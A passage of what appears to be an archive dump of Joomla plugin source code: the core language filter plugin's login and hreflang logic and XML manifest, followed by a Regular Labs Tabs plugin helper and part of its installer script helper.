				JText::_('PLG_SYSTEM_LANGUAGEFILTER_PRIVACY_CAPABILITY_LANGUAGE_COOKIE'),
			)
		);
	}

	/**
	 * Before store user method.
	 *
	 * Method is called before user data is stored in the database.
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isnew  True if a new user is stored.
	 * @param   array    $new    Holds the new user data.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onUserBeforeSave($user, $isnew, $new)
	{
		if (array_key_exists('params', $user) && $this->params->get('automatic_change', 1) == 1)
		{
			$registry = new Registry($user['params']);
			$this->user_lang_code = $registry->get('language');

			if (empty($this->user_lang_code))
			{
				$this->user_lang_code = $this->current_lang;
			}
		}
	}

	/**
	 * After store user method.
	 *
	 * Method is called after user data is stored in the database.
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was succesfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		if ($success && array_key_exists('params', $user) && $this->params->get('automatic_change', 1) == 1)
		{
			$registry = new Registry($user['params']);
			$lang_code = $registry->get('language');

			if (empty($lang_code))
			{
				$lang_code = $this->current_lang;
			}

			if ($lang_code === $this->user_lang_code || !isset($this->lang_codes[$lang_code]))
			{
				if ($this->app->isClient('site'))
				{
					$this->app->setUserState('com_users.edit.profile.redirect', null);
				}
			}
			else
			{
				if ($this->app->isClient('site'))
				{
					$this->app->setUserState('com_users.edit.profile.redirect', 'index.php?Itemid='
						. $this->app->getMenu()->getDefault($lang_code)->id . '&lang=' . $this->lang_codes[$lang_code]->sef
					);

					// Create a cookie.
					$this->setLanguageCookie($lang_code);
				}
			}
		}
	}

	/**
	 * Method to handle any login logic and report back to the subject.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (remember, autoregister, group).
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.5
	 */
	public function onUserLogin($user, $options = array())
	{
		$menu = $this->app->getMenu();

		if ($this->app->isClient('site'))
		{
			if ($this->params->get('automatic_change', 1))
			{
				$assoc = JLanguageAssociations::isEnabled();
				$lang_code = $user['language'];

				// If no language is specified for this user, we set it to the site default language
				if (empty($lang_code))
				{
					$lang_code = $this->default_lang;
				}

				jimport('joomla.filesystem.folder');

				// The language has been deleted/disabled or the related content language does not exist/has been unpublished
				// or the related home page does not exist/has been unpublished
				if (!array_key_exists($lang_code, $this->lang_codes)
					|| !array_key_exists($lang_code, JLanguageMultilang::getSiteHomePages())
					|| !JFolder::exists(JPATH_SITE . '/language/' . $lang_code))
				{
					$lang_code = $this->current_lang;
				}

				// Try to get association from the current active menu item
				$active = $menu->getActive();

				$foundAssociation = false;

				/**
				 * Looking for associations.
				 * If the login menu item form contains an internal URL redirection,
				 * This will override the automatic change to the user preferred site language.
				 * In that case we use the redirect as defined in the menu item.
				 *  Otherwise we redirect, when available, to the user preferred site language.
				 */
				if ($active && !$active->params['login_redirect_url'])
				{
					if ($assoc)
					{
						$associations = MenusHelper::getAssociations($active->id);
					}

					// Retrieves the Itemid from a login form.
					$uri = new JUri($this->app->getUserState('users.login.form.return'));

					if ($uri->getVar('Itemid'))
					{
						// The login form contains a menu item redirection. Try to get associations from that menu item.
						// If any association set to the user preferred site language, redirect to that page.
						if ($assoc)
						{
							$associations = MenusHelper::getAssociations($uri->getVar('Itemid'));
						}

						if (isset($associations[$lang_code]) && $menu->getItem($associations[$lang_code]))
						{
							$associationItemid = $associations[$lang_code];
							$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $associationItemid);
							$foundAssociation = true;
						}
					}
					elseif (isset($associations[$lang_code]) && $menu->getItem($associations[$lang_code]))
					{
						/**
						 * The login form does not contain a menu item redirection.
						 * The active menu item has associations.
						 * We redirect to the user preferred site language associated page.
						 */
						$associationItemid = $associations[$lang_code];
						$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $associationItemid);
						$foundAssociation = true;
					}
					elseif ($active->home)
					{
						// We are on a Home page, we redirect to the user preferred site language Home page.
						$item = $menu->getDefault($lang_code);

						if ($item && $item->language !== $active->language && $item->language !== '*')
						{
							$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $item->id);
							$foundAssociation = true;
						}
					}
				}

				if ($foundAssociation && $lang_code !== $this->current_lang)
				{
					// Change language.
					$this->current_lang = $lang_code;

					// Create a cookie.
					$this->setLanguageCookie($lang_code);

					// Change the language code.
					JFactory::getLanguage()->setLanguage($lang_code);
				}
			}
			else
			{
				if ($this->app->getUserState('users.login.form.return'))
				{
					$this->app->setUserState('users.login.form.return', JRoute::_($this->app->getUserState('users.login.form.return'), false));
				}
			}
		}
	}

	/**
	 * Method to add alternative meta tags for associated menu items.
	 *
	 * @return  void
	 *
	 * @since   1.7
	 */
	public function onAfterDispatch()
	{
		$doc = JFactory::getDocument();

		if ($this->app->isClient('site') && $this->params->get('alternate_meta', 1) && $doc->getType() === 'html')
		{
			$languages             = $this->lang_codes;
			$homes                 = JLanguageMultilang::getSiteHomePages();
			$menu                  = $this->app->getMenu();
			$active                = $menu->getActive();
			$levels                = JFactory::getUser()->getAuthorisedViewLevels();
			$remove_default_prefix = $this->params->get('remove_default_prefix', 0);
			$server                = JUri::getInstance()->toString(array('scheme', 'host', 'port'));
			$is_home               = false;
			$currentInternalUrl    = 'index.php?' . http_build_query($this->app->getRouter()->getVars());

			if ($active)
			{
				$active_link  = JRoute::_($active->link . '&Itemid=' . $active->id);
				$current_link = JRoute::_($currentInternalUrl);

				// Load menu associations
				if ($active_link === $current_link)
				{
					$associations = MenusHelper::getAssociations($active->id);
				}

				// Check if we are on the home page
				$is_home = ($active->home
					&& ($active_link === $current_link || $active_link === $current_link . 'index.php' || $active_link . '/' === $current_link));
			}

			// Load component associations.
			$option = $this->app->input->get('option');
			$cName = ucfirst(substr($option, 4)) . 'HelperAssociation';
			JLoader::register($cName, JPath::clean(JPATH_SITE . '/components/' . $option . '/helpers/association.php'));

			if (class_exists($cName) && is_callable(array($cName, 'getAssociations')))
			{
				$cassociations = call_user_func(array($cName, 'getAssociations'));
			}

			// For each language...
			foreach ($languages as $i => $language)
			{
				switch (true)
				{
					// Language without frontend UI || Language without specific home menu || Language without authorized access level
					case (!array_key_exists($i, JLanguageHelper::getInstalledLanguages(0))):
					case (!isset($homes[$i])):
					case (isset($language->access) && $language->access && !in_array($language->access, $levels)):
						unset($languages[$i]);
						break;

					// Home page
					case ($is_home):
						$language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $homes[$i]->id);
						break;

					// Current language link
					case ($i === $this->current_lang):
						$language->link = JRoute::_($currentInternalUrl);
						break;

					// Component association
					case (isset($cassociations[$i])):
						$language->link = JRoute::_($cassociations[$i] . '&lang=' . $language->sef);
						break;

					// Menu items association
					// Heads up! "$item = $menu" here below is an assignment, *NOT* comparison
					case (isset($associations[$i]) && ($item = $menu->getItem($associations[$i]))):

						$language->link = JRoute::_('index.php?Itemid=' . $item->id . '&lang=' . $language->sef);
						break;

					// Too bad...
					default:
						unset($languages[$i]);
				}
			}

			// If there are at least 2 of them, add the rel="alternate" links to the <head>
			if (count($languages) > 1)
			{
				// Remove the sef from the default language if "Remove URL Language Code" is on
				if ($remove_default_prefix && isset($languages[$this->default_lang]))
				{
					$languages[$this->default_lang]->link
									= preg_replace('|/' . $languages[$this->default_lang]->sef . '/|', '/', $languages[$this->default_lang]->link, 1);
				}

				foreach ($languages as $i => $language)
				{
					$doc->addHeadLink($server . $language->link, 'alternate', 'rel', array('hreflang' => $i));
				}

				// Add x-default language tag
				if ($this->params->get('xdefault', 1))
				{
					$xdefault_language = $this->params->get('xdefault_language', $this->default_lang);
					$xdefault_language = ($xdefault_language === 'default') ? $this->default_lang : $xdefault_language;

					if (isset($languages[$xdefault_language]))
					{
						// Use a custom tag because addHeadLink is limited to one URI per tag
						$doc->addCustomTag('<link href="' . $server . $languages[$xdefault_language]->link . '" rel="alternate" hreflang="x-default" />');
					}
				}
			}
		}
	}

	/**
	 * Set the language cookie
	 *
	 * @param   string  $languageCode  The language code for which we want to set the cookie
	 *
	 * @return  void
	 *
	 * @since   3.4.2
	 */
	private function setLanguageCookie($languageCode)
	{
		// If is set to use language cookie for a year in plugin params, save the user language in a new cookie.
		if ((int) $this->params->get('lang_cookie', 0) === 1)
		{
			// Create a cookie with one year lifetime.
			$this->app->input->cookie->set(
				JApplicationHelper::getHash('language'),
				$languageCode,
				time() + 365 * 86400,
				$this->app->get('cookie_path', '/'),
				$this->app->get('cookie_domain', ''),
				$this->app->isHttpsForced(),
				true
			);
		}
		// If not, set the user language in the session (that is already saved in a cookie).
		else
		{
			JFactory::getSession()->set('plg_system_languagefilter.language', $languageCode);
		}
	}

	/**
	 * Get the language cookie
	 *
	 * @return  string
	 *
	 * @since   3.4.2
	 */
	private function getLanguageCookie()
	{
		// Is is set to use a year language cookie in plugin params, get the user language from the cookie.
		if ((int) $this->params->get('lang_cookie', 0) === 1)
		{
			$languageCode = $this->app->input->cookie->get(JApplicationHelper::getHash('language'));
		}
		// Else get the user language from the session.
		else
		{
			$languageCode = JFactory::getSession()->get('plg_system_languagefilter.language');
		}

		// Let's be sure we got a valid language code. Fallback to null.
		if (!array_key_exists($languageCode, $this->lang_codes))
		{
			$languageCode = null;
		}

		return $languageCode;
	}
}
PK�(]aVOuss(system/languagefilter/languagefilter.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_languagefilter</name>
	<author>Joomla! Project</author>
	<creationDate>July 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="languagefilter">languagefilter.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_languagefilter.ini</language>
		<language tag="en-GB">en-GB.plg_system_languagefilter.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="detect_browser"
					type="list"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE</option>
					<option value="1">PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS</option>
				</field>

				<field
					name="automatic_change"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="item_associations"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ITEM_ASSOCIATIONS_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ITEM_ASSOCIATIONS_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="alternate_meta"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="xdefault"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					showon="alternate_meta:1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="xdefault_language"
					type="contentlanguage"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_LANGUAGE_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_XDEFAULT_LANGUAGE_DESC"
					default="default"
					showon="alternate_meta:1[AND]xdefault:1"
					>
					<option value="default">PLG_SYSTEM_LANGUAGEFILTER_OPTION_DEFAULT_LANGUAGE</option>
				</field>

				<field
					name="remove_default_prefix"
					type="radio"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="lang_cookie"
					type="list"
					label="PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_LABEL"
					description="PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_DESC"
					default="0"
					filter="integer"
					>
					<option value="1">PLG_SYSTEM_LANGUAGEFILTER_OPTION_YEAR</option>
					<option value="0">PLG_SYSTEM_LANGUAGEFILTER_OPTION_SESSION</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>PK�(]��q��system/tabs/helper.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

// Load common functions
require_once JPATH_LIBRARIES . '/regularlabs/helpers/functions.php';
require_once JPATH_LIBRARIES . '/regularlabs/helpers/tags.php';
require_once JPATH_LIBRARIES . '/regularlabs/helpers/text.php';
require_once JPATH_LIBRARIES . '/regularlabs/helpers/protect.php';

RLFunctions::loadLanguage('plg_system_tabs');

/**
 * Plugin that replaces stuff
 */
class PlgSystemTabsHelper
{
	var $params  = null;
	var $helpers = array();

	public function __construct(&$params)
	{
		$this->params = $params;

		$this->params->comment_start = '<!-- START: Tabs -->';
		$this->params->comment_end   = '<!-- END: Tabs -->';

		$this->params->tag_open  = trim(preg_replace('#[^a-z0-9-_]#si', '', $this->params->tag_open));
		$this->params->tag_close = trim(preg_replace('#[^a-z0-9-_]#si', '', $this->params->tag_close));

		$this->params->tag_link = isset($this->params->tag_link) ? $this->params->tag_link : 'tablink';
		$this->params->tag_link = trim(preg_replace('#[^a-z0-9-_]#si', '', $this->params->tag_link));


		require_once __DIR__ . '/helpers/helpers.php';
		$this->helpers = PlgSystemTabsHelpers::getInstance($this->params);
	}

	public function onContentPrepare(&$article, $context, $params)
	{
		$area    = isset($article->created_by) ? 'articles' : 'other';
		$context = (($params instanceof JRegistry) && $params->get('rl_search')) ? 'com_search.' . $params->get('readmore_limit') : $context;

		RLHelper::processArticle($article, $context, $this, 'replaceTags', array($area, $context));
	}

	public function onAfterDispatch()
	{
		// only in html
		if (JFactory::getDocument()->getType() !== 'html' && !RLFunctions::isFeed())
		{
			return;
		}

		$this->helpers->get('head')->addHeadStuff();

		if (!$buffer = RLFunctions::getComponentBuffer())
		{
			return;
		}

		$this->replaceTags($buffer, 'component');

		JFactory::getDocument()->setBuffer($buffer, 'component');
	}

	public function onAfterRender()
	{
		// only in html and feeds
		if (JFactory::getDocument()->getType() !== 'html' && !RLFunctions::isFeed())
		{
			return;
		}

		$html = JFactory::getApplication()->getBody();

		if ($html == '')
		{
			return;
		}

		if (
			strpos($html, '{' . $this->params->tag_open) === false
			&& strpos($html, 'rl_tabs-scrollto') === false
		)
		{
			$this->helpers->get('head')->removeHeadStuff($html);

			$this->helpers->get('clean')->cleanLeftoverJunk($html);

			JFactory::getApplication()->setBody($html);

			return;
		}

		// only do stuff in body
		list($pre, $body, $post) = RLText::getBody($html);
		$this->replaceTags($body, 'body');
		$html = $pre . $body . $post;

		$this->helpers->get('clean')->cleanLeftoverJunk($html);

		JFactory::getApplication()->setBody($html);
	}

	public function replaceTags(&$string, $area = 'article', $context = '')
	{
		$this->helpers->get('replace')->replaceTags($string, $area, $context);
	}
}
PK�(]�O?��C�C%system/tabs/script.install.helper.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemTabsInstallerScriptHelper
{
	public $name            = '';
	public $alias           = '';
	public $extname         = '';
	public $extension_type  = '';
	public $plugin_folder   = 'system';
	public $module_position = 'status';
	public $client_id       = 1;
	public $install_type    = 'install';
	public $show_message    = true;
	public $db              = null;

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, JAdapterInstance $adapter)
	{
		if (!in_array($route, array('install', 'update')))
		{
			return;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller', JPATH_PLUGINS . '/system/regularlabsinstaller');

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

		if ($this->onBeforeInstall() === false)
		{
			return false;
		}
	}

	public function postflight($route, JAdapterInstance $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder());

		if (!in_array($route, array('install', 'update')))
		{
			return;
		}

		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall() === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');
	}

	public function isInstalled()
	{
		if (!is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select('extension_id')
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName()));
		$this->db->setQuery($query, 0, 1);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_SITE . '/plugins/' . $this->plugin_folder . '/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' . $this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname . '.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = array();

		switch ($type)
		{
			case 'plugin';
				$folders[] = JPATH_SITE . '/plugins/' . $folder . '/' . $extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if (!$this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select('extension_id')
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids = JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids', array());

		if (JFactory::getApplication()->input->get('option') == 'com_installer' && JFactory::getApplication()->input->get('task') == 'remove')
		{
			// Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids, JFactory::getApplication()->input->get('cid', array(), 'array'));
			JFactory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				)
			);
		}
	}

	public function foldersExist($folders = array())
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system', $show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder, $show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null, $show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null, $show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' = 1')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select('id')
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if (!$id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is already saved)
		$query->clear()
			->select('moduleid')
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' = ' . (int) $id);
		$this->db->setQuery($query, 0, 1);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select('ordering')
			->from('#__modules')
			->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' = 1')
			->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering)
			->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid')))
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				JText::_($this->install_type == 'update' ? 'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'),
				'<strong>' . JText::_($this->name) . '</strong>',
				'<strong>' . $this->getVersion() . '</strong>',
				$this->getFullType()
			)
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin';
				return JText::_('plg_' . strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if (!is_file($file))
		{
			return '';
		}

		$xml = JApplicationHelper::parseXMLInstallFile($file);

		if (!$xml || !isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if (!$installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($installed_version, $package_version, '<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if (!$installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'), 'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' . $this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if (!is_string($file) || !is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			array('FREEFREE', 'FREEPRO', 'PROFREE', 'PROPRO'),
			array('FREE', 'PRO', 'FREE', 'PRO'),
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall()
	{
		if (!$this->canInstall())
		{
			return false;
		}
	}

	public function onAfterInstall()
	{
	}

	public function deleteFolders($folders = array())
	{
		foreach ($folders as $folder)
		{
			if (!is_dir($folder))
			{
				continue;
			}

			JFolder::delete($folder);
		}
	}

	public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}')
	{
		// replace default rules value {} with the correct initial value
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname))
			->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select('update_site_id')
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if (!$id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = ' . $this->db->quote($name))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select('e.params')
			->from('#__extensions as e')
			->where(array(
				'e.element = ' . $this->db->quote('com_regularlabsmanager'),
				'e.element = ' . $this->db->quote('com_nonumbermanager'),
			), 'OR');
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if (!$params)
		{
			return;
		}

